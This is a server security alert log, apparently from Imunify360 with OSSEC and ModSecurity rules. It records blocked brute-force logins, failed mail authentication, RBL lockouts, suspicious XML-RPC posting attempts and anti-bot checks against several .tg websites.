[2026-06-16 02:44:19 +0000] info [cpaneld] 82.205.106.181 - anamektg "GET /login/?login_only=1&user=anamektg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anamektg (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-06-16 02:43:44 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:56576: 535 Incorrect authentication data (set_id=scan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.87.79.18
country_id: 2017370
description:
Jun 16 02:45:00 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.87.79.18 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 138.199.52.194
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:138.199.52.194||TA:138.199.52.194||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.199.52.194
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-46.138.199.52.194||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.96.147.1
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:91382a5457428213433294acfb76af5996a06b7f||Title:6pjl6nkv87y9xd||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.96.147.1
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:501bff178ae43283354674eaa7e40f18f656ac26||Title:5vwvyr1yrc6kfb3hzf||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.111.170
country_id: 1269750
description:
Jun 16 02:49:08 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.111.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.111.170
country_id: 1269750
description:
2026-06-16 02:49:10 dovecot_login authenticator failed for H=([117.216.210.246]) [182.95.111.170]:33226: 535 Incorrect authentication data (set_id=admin@anrtogo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 188.48.184.141
country_id: 102358
description:
188.48.184.141 - - [16/Jun/2026:02:49:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7300808&pdata=https%253A%252F%252Fmacite.tg%252F2025%252F12%252F03%252Fmonnaie-ces-pays-dafrique-qui-utilisent-encore-le-franc-cfa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781578160 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2025/12/03/monnaie-ces-pays-dafrique-qui-utilisent-encore-le-franc-cfa/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.1391.1445 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:188.48.184.141


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-06-16 02:49:38 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([78.36.7.89]) [85.195.9.20]:46314: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.195.9.20
country_id: 2661886
description:
Jun 16 02:49:36 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.195.9.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.96.147.1
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:44951f7cf2b0255ae42e1ae53888bcdbe97a2d55||Title:qwbaey7jueqh3eol||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.96.147.1
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:76e5865a9da0b4364b820ee7f9cd1735a919ee47||Title:xuto4jfya11pmk||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.96.147.1
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:09c887439286b3c2835f8dfa6b8ddf33eb453b1c||Title:uq8xmcl5knbkssnfe||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.20
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:02b96dc7ebd96d7799fc6cac1176aa19e86cff23||Title:uxqensnomc04iqj||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.51.92.158
country_id: 1282988
description:
[2026-06-16 02:54:18 +0000] info [cpaneld] 202.51.92.158 - wel "GET /login/?login_only=1&user=wel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wel (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.20
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a57841dd149c090ff201fa2099a9091da912befd||Title:rsdxo0hu42lkd1z||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.109.225.12
country_id: 3923057
description:
[2026-06-16 02:53:54 +0000] info [cpaneld] 190.109.225.12 - wellcity "GET /login/?login_only=1&user=wellcity&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcity (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.225.193.100
country_id: 1562822
description:
[2026-06-16 02:54:00 +0000] info [cpaneld] 171.225.193.100 - wellcitytg "GET /login/?login_only=1&user=wellcitytg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcitytg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.199.41.66
country_id: 3658394
description:
[2026-06-16 02:54:03 +0000] info [cpaneld] 181.199.41.66 - wellcit "GET /login/?login_only=1&user=wellcit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.20.168.93
country_id: 2635167
description:
[2026-06-16 02:54:14 +0000] info [cpaneld] 92.20.168.93 - well "GET /login/?login_only=1&user=well&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user well (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 124.13.195.164
country_id: 1733045
description:
[2026-06-16 02:54:23 +0000] info [cpaneld] 124.13.195.164 - we "GET /login/?login_only=1&user=we&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user we (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.20
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ff8b2b482d1ace49db0b8c43bf3007c20295869f||Title:td2ewp8nutkrbpmw||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.37.23
country_id: 953987
description:
Jun 16 02:54:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.37.23 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.20
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:067e90b4fa0e7945f29eea4f629c4c4136ef9fec||Title:zmya6l7ygxhcc8j33r||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [16/Jun/2026:02:56:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015956&pdata=https%253A%252F%252Flvdt.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781578613 HTTP/2.0" 302 0 lvdt.tg "https://lvdt.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.16
country_id: 6252001
description:
205.169.39.16 - - [16/Jun/2026:02:57:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10317466&pdata=https%253A%252F%252Fcfmi.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781578626 HTTP/2.0" 302 0 cfmi.tg "https://cfmi.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.16


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.214.9.20
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eb9298a13a1fbbb733939f1cf2cb9047d59f5db2||Title:20sc5nb2g2p8bjz6t||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:02:57:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:02:57:27 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:02:57:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:02:57:29 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 176.45.33.72
country_id: 102358
description:
176.45.33.72 - - [16/Jun/2026:02:59:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9607526&pdata=https%253A%252F%252Ftogodailynews.tg%252Flascension-fulgurante-du-mobile-money-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781578754 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/lascension-fulgurante-du-mobile-money-au-togo/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.4833.1723 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.45.33.72


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [16/Jun/2026:02:58:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7365736&pdata=http%253A%252F%252Flvdt.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781578717 HTTP/1.1" 302 0 lvdt.tg "http://lvdt.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.126.240.80
country_id: 2661886
description:
Jun 16 03:00:50 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.126.240.80 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.240.80
country_id: 2661886
description:
2026-06-16 03:00:52 dovecot_login authenticator failed for H=([59.37.13.66]) [188.126.240.80]:39514: 535 Incorrect authentication data (set_id=sales@anrtogo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:03:00:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9674643&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781578830 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:03:00:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788502&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781578832 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:03:00:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869254&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781578837 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 110.224.78.100
country_id: 1269750
description:
2026-06-16 03:02:19 H=([110.224.78.100]) [110.224.78.100]:62333 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.46.124.0
country_id: 3686110
description:
Jun 16 03:03:32 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.46.124.0 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-06-16 03:03:34 dovecot_login authenticator failed for H=([27.39.130.144]) [201.46.124.0]:1062: 535 Incorrect authentication data (set_id=admin@cameg-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.191.211.33
country_id: 6252001
description:
Jun 16 03:03:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.191.211.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-06-16 03:03:47 dovecot_login authenticator failed for H=(136-35-246-152.googlefiber.net) [65.191.211.33]:32922: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 132.255.207.149
country_id: 3469034
description:
[2026-06-16 03:03:59 +0000] info [cpaneld] 132.255.207.149 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.72.213.191
country_id: 2017370
description:
[2026-06-16 03:04:01 +0000] info [cpaneld] 46.72.213.191 - centif "GET /login/?login_only=1&user=centif&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 210.1.247.217
country_id: 1210997
description:
[2026-06-16 03:04:06 +0000] info [cpaneld] 210.1.247.217 - centi "GET /login/?login_only=1&user=centi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user centi (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 143.105.135.17
country_id: 3865483
description:
143.105.135.17 - - [16/Jun/2026:03:08:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788199&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F06%252F24%252Fcedeao-une-reorganisation-institutionnelle-face-aux-secousses-geopolitiques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781579328 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/06/24/cedeao-une-reorganisation-institutionnelle-face-aux-secousses-geopolitiques/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.6801.1417 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:143.105.135.17


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.172.49
country_id: 6252001
domain: pnls.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:192.186.172.49||TA:192.186.172.49||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:03:11:30 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:03:11:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:03:11:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:03:11:32 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 110.224.78.100
country_id: 1269750
description:
2026-06-16 03:12:00 H=([110.224.78.100]) [110.224.78.100]:57336 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.234.202.14
country_id: 1210997
description:
103.234.202.14 - - [16/Jun/2026:03:14:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999465&pdata=https%253A%252F%252Fcpanel.helfinger.free.netmaster.tg%252F%253Flocale%253Dpt&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781579638 HTTP/2.0" 302 0 cpanel.helfinger.free.netmaster.tg "https://cpanel.helfinger.free.netmaster.tg/?locale=pt" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.234.202.14


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 187.233.117.140
country_id: 3996063
description:
187.233.117.140 - - [16/Jun/2026:03:14:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12935578&pdata=https%253A%252F%252Fwebmail.sightofgood.free.netmaster.tg%252F%253Flocale%253Dzh_tw&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781579688 HTTP/2.0" 302 0 webmail.sightofgood.free.netmaster.tg "https://webmail.sightofgood.free.netmaster.tg/?locale=zh_tw" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:187.233.117.140


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.40.225
country_id: 6252001
domain: belali.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/belali.tg/wp-login.php HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.12
country_id: 933860
description:
Jun 16 03:14:32 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.12 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:03:15:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250853&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781579736 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:03:15:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6472559&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781579738 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:03:15:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869970&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781579738 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
